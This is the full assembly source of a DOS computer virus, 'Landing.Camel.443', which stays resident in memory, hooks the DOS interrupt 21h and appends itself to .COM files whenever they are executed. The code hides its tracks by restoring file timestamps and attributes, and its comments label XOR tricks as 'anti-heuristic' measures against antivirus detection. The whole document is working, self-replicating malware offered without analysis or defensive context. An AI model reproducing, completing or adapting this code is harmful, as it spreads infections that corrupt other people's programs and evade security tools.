;==================================================;|
;	LANDING.CAMEL.3.443			   ;|
;==================================================;|
; 	TSR..................... Yes		   ;|
; 	Appending Virus......... Yes		   ;|
; 	COM infector............ Yes		   ;|
; 	Windows95 COM infector.. Yes		   ;|							
; 	Reset Attributes........ Yes		   ;|
; 	Reset Time/Date......... Yes		   ;|
;==================================================;|
						   ;|
	.MODEL TINY				   ;|
	.CODE					   ;|
						   ;|
	ORG 0H					   ;|No worries about delta offset
						   ;|
;**************************************************;|
;       This is where the virus starts		   ;|
;**************************************************;|
						   ;|
;==================================================;|
	VIRUS_START:				   ;|
;==================================================;|
						   ;|
	CALL FIND_OFFSET			   ;|Calculate the delta offset
						   ;|
;**************************************************;|
;       Calculate the Delta Offset		   ;|
;**************************************************;|
						   ;|
;==================================================;|
	FIND_OFFSET:				   ;|
;==================================================;|
						   ;|
	POP	BP				   ;|
	SUB	BP,OFFSET FIND_OFFSET		   ;|BP now contains the delta offset
						   ;|
;**************************************************;|
;       Installation Check			   ;|
;**************************************************;|
						   ;|
	MOV	AH,2CH				   ;|DOS Function-Get system time
	INT	21H				   ;|Call interrupt
						   ;|
	MOV	BL,DL				   ;|BL=a number from 0-100
	MOV	AH,0BH				   ;|DOS Function
	INT	21H				   ;|Call interrupt
						   ;|
	CMP	AH,00H				   ;|AH=0?
	JNE	START_INSTALL			   ;|No! Install the virus
	ADD	BX,BP				   ;|
	CMP	AL,CS:[BX]			   ;|Do the bytes match?
	JE	FINISHED_INSTALL		   ;|Already installed!
						   ;|
;==================================================;|
	START_INSTALL:				   ;|
;==================================================;|
						   ;|
;**************************************************;|
;       Begin installing the virus into memory	   ;|
;**************************************************;|
						   ;|                                                            
       	PUSH	DS				   ;|Save original DS
	PUSH	ES				   ;|Save original ES
						   ;|
;**************************************************;|
;       Get maximum available memory		   ;|
;**************************************************;|
         					   ;|
	MOV	AH,4AH XOR 66H 			   ;|DOS Function-Allocate memory
	XOR	AH,66H				   ;|Anti-heuristic
	MOV	BX,0FFFFH			   ;|A Really big number
	INT	21H				   ;|Call interrupt
                    				   ;|     
;**************************************************;|
;       Subtract the required memory from the total;|
;**************************************************;|
      						   ;|
        SUB	BX,(VIRUS_LENGTH+15)/16+1 	   ;|          
						   ;|
;**************************************************;|
;       Shrink the block			   ;|
;**************************************************;|
                                 	   	   ;|
	MOV	AX,4A00H XOR 6600H		   ;|Anti-heuristic
	XOR	AX,6600H			   ;|Anti-heuristic
	INT	21H				   ;|
						   ;|
;**************************************************;|
;       Allocate memory				   ;|
;**************************************************;|
               					   ;|
        MOV	AX,4800H XOR 6400H		   ;|Anti-heuristic
	XOR	AX,6400H			   ;|Anti-heuristic
	MOV	BX,(VIRUS_LENGTH+15)/16		   ;|
	INT	21H				   ;|
						   ;|
;**************************************************;|
;       Point ES to the new MCB			   ;|
;**************************************************;|
                     				   ;|
	MOV	ES,AX				   ;|ES=PSP  
	DEC	AX				   ;|AX=MCB     
	MOV	DS,AX				   ;|DS=AX=MCB
                   				   ;| 
;**************************************************;|
;       Change attributes of memory block	   ;|
;**************************************************;|
						   ;|
        MOV	BYTE PTR DS:[0],'Z'		   ;|Mark the end of the block
	MOV	WORD PTR DS:[1],8		   ;|Identify as a DOS program
                               			   ;|     
        PUSH	CS				   ;|CS=Code Segment
	POP	DS                      	   ;|DS=CS
						   ;|
;**************************************************;|
;       Copy the virus into the allocated memory   ;|
;**************************************************;|
						   ;|
	XOR	DI,DI				   ;|DI=0
	MOV	CX,(VIRUS_LENGTH+1)/2		   ;|Number of bytes to copy
        LEA     SI,BP		                   ;|Start at the beginning
	REP	MOVSW				   ;|Move DS:[SI] to ES:[DI]
						   ;|
;**************************************************;|
;       Get the vector for the original Int 21h    ;|
;**************************************************;|
						   ;|
	MOV	DS,CX				   ;|CX=0 DS=CX The Interrupt Table
						   ;|
	MOV	AX,WORD PTR DS:[21H*4]		   ;|Load the offset into AX
	MOV	WORD PTR ES:OLD_INT21H,AX	   ;|Save the offset
	MOV	AX,WORD PTR DS:[21H*4+2]	   ;|Load the segment into AX
	MOV	WORD PTR ES:OLD_INT21H+2,AX	   ;|Save the segment
						   ;|                                            	        
;**************************************************;|
;       Put in a new vector for Int 21h		   ;|
;**************************************************;|
  						   ;|
	PUSH	ES				   ;|Save ES
	POP	DS				   ;|ES=DS=Segment of virus in memory
						   ;|
	MOV	AX,2125H XOR 0D25H		   ;|DOS Function-Set Interrupt Vector
	XOR	AX,0D25H			   ;|Anti-heuristic
	XCHG	AH,AL				   ;|Anti-heuristic
	LEA	DX,NEW_INT21H			   ;|Point to our procedure
	INT	21H				   ;|Call interrupt
						   ;|
;**************************************************;|
;       Finished installing into memory		   ;|
;**************************************************;|
						   ;|
	POP	ES				   ;|Restore original ES
	POP	DS				   ;|Restore original DS
						   ;|
;==================================================;|
	FINISHED_INSTALL:			   ;|
;==================================================;|
						   ;|
;**************************************************;|
;       Restore the original 3 bytes of the file   ;|
;**************************************************;|
						   ;|
	LEA	DI,[BP+OLD_BYTES]		   ;|Restore 3 bytes into memory
	MOV	SI,100H				   ;|Anti-heuristic
	XCHG	SI,DI				   ;|Anti-heuristic
	PUSH 	DI				   ;|Save 100H for the return
	MOVSW					   ;|Move word into memory
	MOVSB					   ;|Move byte into memory                   
						   ;|                
;**************************************************;|
;       Clear registers 			   ;|
;**************************************************;|
						   ;|
	XOR	AX,AX				   ;|
	XOR	BX,BX				   ;|
	XOR	CX,CX				   ;|
	XOR	DX,DX				   ;|
	XOR	BP,BP				   ;|
	XOR	SI,SI				   ;|
	XOR	DI,DI				   ;|
						   ;|                                           
;**************************************************;|
;       Restore control to the host file	   ;|
;**************************************************;|
						   ;|               
	RET					   ;|
						   ;| 
	MSG	DB	'Landing.Camel.443',0	   ;|Virus name and author
						   ;|
;==================================================;|
	INT21H:					   ;|
;==================================================;|
						   ;|
	PUSHF					   ;|Save Flags
	CALL 	DWORD PTR CS:[OLD_INT21H]	   ;|Call Interrupt 21h   
	RET					   ;|Return
						   ;|
;==================================================;|
	NEW_INT21H:				   ;|
;==================================================;|
						   ;|
	CMP	AH,0BH				   ;|
	JE 	INSTALLATION_CHECK		   ;|
						   ;|
;**************************************************;|
;       Save all registers			   ;|
;**************************************************;|
						   ;|
	PUSHF					   ;|Save flags
	PUSH	AX				   ;|Save registers
	PUSH	BX				   ;|Save registers
	PUSH	CX				   ;|Save registers
	PUSH	DX				   ;|Save registers
	PUSH	DI				   ;|Save registers
	PUSH	DS				   ;|Save registers
	PUSH	ES				   ;|Save registers
						   ;|
;**************************************************;|
;       Check for execute call			   ;|
;**************************************************;|
						   ;|
	XCHG	AH,AL				   ;|
	CMP	AX,004BH			   ;|
	XCHG	AH,AL				   ;|
	JE	INFECT_FILE			   ;|
						   ;|
;==================================================;|
	QUIT:					   ;|
;==================================================;|
						   ;|
	POP	ES				   ;|
	POP	DS				   ;|
	POP	DI				   ;|
	POP	DX				   ;|
	POP	CX				   ;|
	POP	BX				   ;|
	POP	AX				   ;|
	POPF					   ;|
						   ;|
;**************************************************;|
;       Call the interrupt vector for Int 21h	   ;|
;**************************************************;|
						   ;|
			DB	0EAH		   ;|Jump far instruction
	OLD_INT21H	DD	?		   ;|Original Int 21h address
						   ;|
;==================================================;|
	INSTALLATION_CHECK:			   ;|
;==================================================;|
						   ;|
	XOR	AX,AX				   ;|
	MOV	AL,CS:[BX]			   ;|
	IRET					   ;|
						   ;|                                          
;==================================================;|
	INFECT_FILE:				   ;|
;==================================================;|
						   ;|
;**************************************************;|
;       Check the extension to ensure it is a COM  ;|
;**************************************************;|
						   ;|
	MOV	SI,DX				   ;|Load filename from DS:[DX] into DS:[SI]
						   ;|
;==================================================;|
	CHECK_EXTENSION:			   ;|Loop to test extension
;==================================================;|
						   ;|
	LODSB					   ;|Load a byte into AL from DS:[SI]
	OR	AL,AL				   ;|Are we at the eof?
	JE	QUIT				   ;|Yes! No extension!
	CMP	AL,"."				   ;|Is it a point?
	JNE	CHECK_EXTENSION			   ;|No! Test the next letter
	LODSW					   ;|Load a word into AX from DS:[SI]
	CMP	AX,"OC"				   ;|Are the first two letters OC?
	JNE	QUIT				   ;|No! Quit
	LODSB					   ;|Load a byte into AL from DS:[SI]
	CMP	AL,"M"				   ;|Is the last letter M?
	JNE	QUIT				   ;|No! Quit
						   ;|
;**************************************************;|
;       Get file attributes			   ;|
;**************************************************;|
						   ;|
	MOV	CX,4300H			   ;|DOS function=Get File Attribute
	XOR	AX,AX				   ;|				
	XCHG	AX,CX				   ;|
	CALL	INT21H				   ;|
	PUSH	CX				   ;|Save file attribute
						   ;|
;**************************************************;|
;       Reset attributes to archive		   ;|
;**************************************************;|
						   ;|
	MOV	CX,4301H			   ;|DOS function=Set File Attribute
	PUSH	CX				   ;|
	XOR	AX,AX				   ;|CX=0 so file attribute is normal file
	XCHG	AX,CX				   ;|
	CALL	INT21H				   ;|
						   ;|
;**************************************************;|
;       Open file for reading and writing and xchg ;|
;**************************************************;|
						   ;|
	MOV	AX,3D02H			   ;|DOS function=Open a File (Read and Write)
	CALL	INT21H				   ;|DX holds the name of the file
						   ;|
	JC	RESTORE_ATTRIBUTES		   ;|Error opening file!
						   ;|
	XCHG	BX,AX				   ;|Exchange handle            
	 					   ;|
;**************************************************;|
;       Get time and date			   ;|
;**************************************************;|
						   ;|
	MOV 	AX,5700H			   ;|DOS function=Get File Time/Date
	CALL	INT21H				   ;|
						   ;|
	PUSH	CX				   ;|Save Time
	PUSH	DX				   ;|Save Date
						   ;|
;**************************************************;|
;       Change the segment			   ;|
;**************************************************;|
						   ;|
	PUSH	CS				   ;|Change the segment to ours
	POP	DS				   ;|rather than the infectee
						   ;|
	PUSH	CS				   ;|Change the segment to ours
	POP	ES				   ;|rather than the infectee
						   ;|
;**************************************************;|
;       Read the first three bytes of the file     ;|
;**************************************************;|
						   ;|
	MOV	AH,3FH				   ;|DOS function=Read from File
	LEA	DX,OLD_BYTES			   ;|Save them into jmpbuf
	MOV	CX,3				   ;|Read 3 bytes
	CALL	INT21H				   ;|
						   ;|
;**************************************************;|
;       Check if file is really a .EXE		   ;|
;**************************************************;|
						   ;|
	CMP	BYTE PTR OLD_BYTES,'Z'		   ;|
	JZ	CLOSE_FILE			   ;|File is really a .EXE
						   ;|
	CMP	BYTE PTR OLD_BYTES,'M'		   ;|
	JZ	CLOSE_FILE			   ;|File is really a .EXE
						   ;|
;**************************************************;|
;       Goto end of the file and read in 7 bytes   ;|
;**************************************************;|
						   ;|
	MOV	AX,4202H			   ;|Seek to EOF - 7
	MOV	DX,-7				   ;|
	MOV	CX,-1				   ;|
	INT	21H				   ;|
						   ;|
	MOV	AH,3FH				   ;|
	LEA	DX,EOF_BUF			   ;|Read in 7 bytes
	MOV	CX,7				   ;|
	INT 	21H				   ;|
						   ;|
;**************************************************;|
;       Add the virus size to the last 2 bytes     ;|
;**************************************************;|
						   ;|
	ADD	WORD PTR [EOF_BUF+5],VIRUS_LENGTH  ;|
						   ;|
;**************************************************;|
;       Goto the end of the file		   ;|
;**************************************************;|
						   ;|
	MOV	AX,4202H			   ;|DOS function=Set File Pointer
	XOR	CX,CX				   ;|Go to end of file (EOF)
	CWD					   ;|Same as XOR DX,DX
	CALL	INT21H				   ;|
						   ;|
;**************************************************;|
;       Check file for previous infection	   ;|
;**************************************************;|
						   ;|
	MOV	CX,WORD PTR [OLD_BYTES+1]	   ;|CX=Offset of jump
	ADD	CX,VIRUS_LENGTH+3		   ;|
	CMP	CX,AX				   ;|Compare the 2 values
						   ;|
        JE      CLOSE_FILE                         ;|Already infected!
						   ;|
;**************************************************;|
;       Check file size				   ;|
;**************************************************;|
						   ;|
	CMP	AX,64511			   ;|File=64511?
	JNA	WRITE_VIRUS			   ;|File isn't too large
						   ;|
;==================================================;|
	CLOSE_FILE:		 		   ;|
;==================================================;|
						   ;|
;**************************************************;|
;       Close the file				   ;|
;**************************************************;|
						   ;|
	MOV	AH,3EH	                           ;|Close file function
	CALL	INT21H                         	   ;|Calling interrupt
        					   ;|
;**************************************************;|
;       Restore original time and date		   ;|
;**************************************************;|
						   ;|
	MOV	AX,5700H			   ;|DOS function=Get File Time/Date
	POP	CX				   ;|CX=original time value
	POP	DX				   ;|DX=original date value
	ADD	AX,1				   ;|DOS function=Set File Time/Date
	CALL	INT21H				   ;|
						   ;|
;==================================================;|
	RESTORE_ATTRIBUTES:			   ;|
;==================================================;|
						   ;|
;**************************************************;|
;       Load original file attributes 		   ;|
;**************************************************;|
						   ;|
	POP	AX				   ;|Restore attribute
	POP	CX				   ;|Restore attribute
						   ;|
	CALL	INT21H				   ;|
          					   ;|
	JMP	QUIT				   ;|
						   ;|
;==================================================;|
	WRITE_VIRUS:				   ;|
;==================================================;|
						   ;|
;**************************************************;|
;       Prepare the jump			   ;|
;**************************************************;|
						   ;|
	MOV	BYTE PTR NEW_BYTES,0E9H		   ;|JMP code
	SUB	AX,3				   ;|AX=Filesize-3 (size of JMP)
	MOV	WORD PTR [NEW_BYTES+1],AX	   ;|Offset of JMP
     						   ;|
;**************************************************;|
;       Copy the virus the the end of the file	   ;|
;**************************************************;|
       						   ;|
	LEA	DX,VIRUS_START			   ;|
	MOV	AX,VIRUS_LENGTH			   ;|
	MOV	CX,4000H			   ;|
	XCHG	AX,CX				   ;|
	CALL	INT21H				   ;|
						   ;|
;**************************************************;|
;       Goto the beginning of the file		   ;|
;**************************************************;|
						   ;|
	MOV	AX,4200H			   ;|DOS function=Set File Pointer
	XOR	CX,CX				   ;|Go to beginning of file (BOF)
	CWD					   ;|Same as XOR DX,DX
	CALL	INT21H				   ;|
						   ;|
;**************************************************;|
;       Write our jump				   ;|
;**************************************************;|
						   ;|
	MOV	AX,03H				   ;|DOS function=Write to File
	MOV	CX,4000H			   ;|Write 3 bytes to beginning of file
	LEA	DX,NEW_BYTES			   ;|From NEW_BYTES
	XCHG	AX,CX				   ;|
	CALL	INT21H				   ;|
                  				   ;|
	JMP	CLOSE_FILE			   ;|
  	                 			   ;|             
;**************************************************;|
;       Data entries				   ;|
;**************************************************;|
						   ;|
	OLD_BYTES	DB 0CDH,20H,0		   ;|INT 20H
	NEW_BYTES	DB 3 DUP (?)		   ;|3 bytes buffer. Used for checking
                                        	   ;|if the file was already infected.
	EOF_BUF		DB 7 DUP (?)		   ;|Buffer at EOF
						   ;|
;==================================================;|
	VIRUS_END:				   ;|
;==================================================;|
						   ;|
;**************************************************;|
;       The heap data entries			   ;|
;**************************************************;|

	VIRUS_LENGTH	EQU	OFFSET VIRUS_END - OFFSET VIRUS_START

	END VIRUS_START
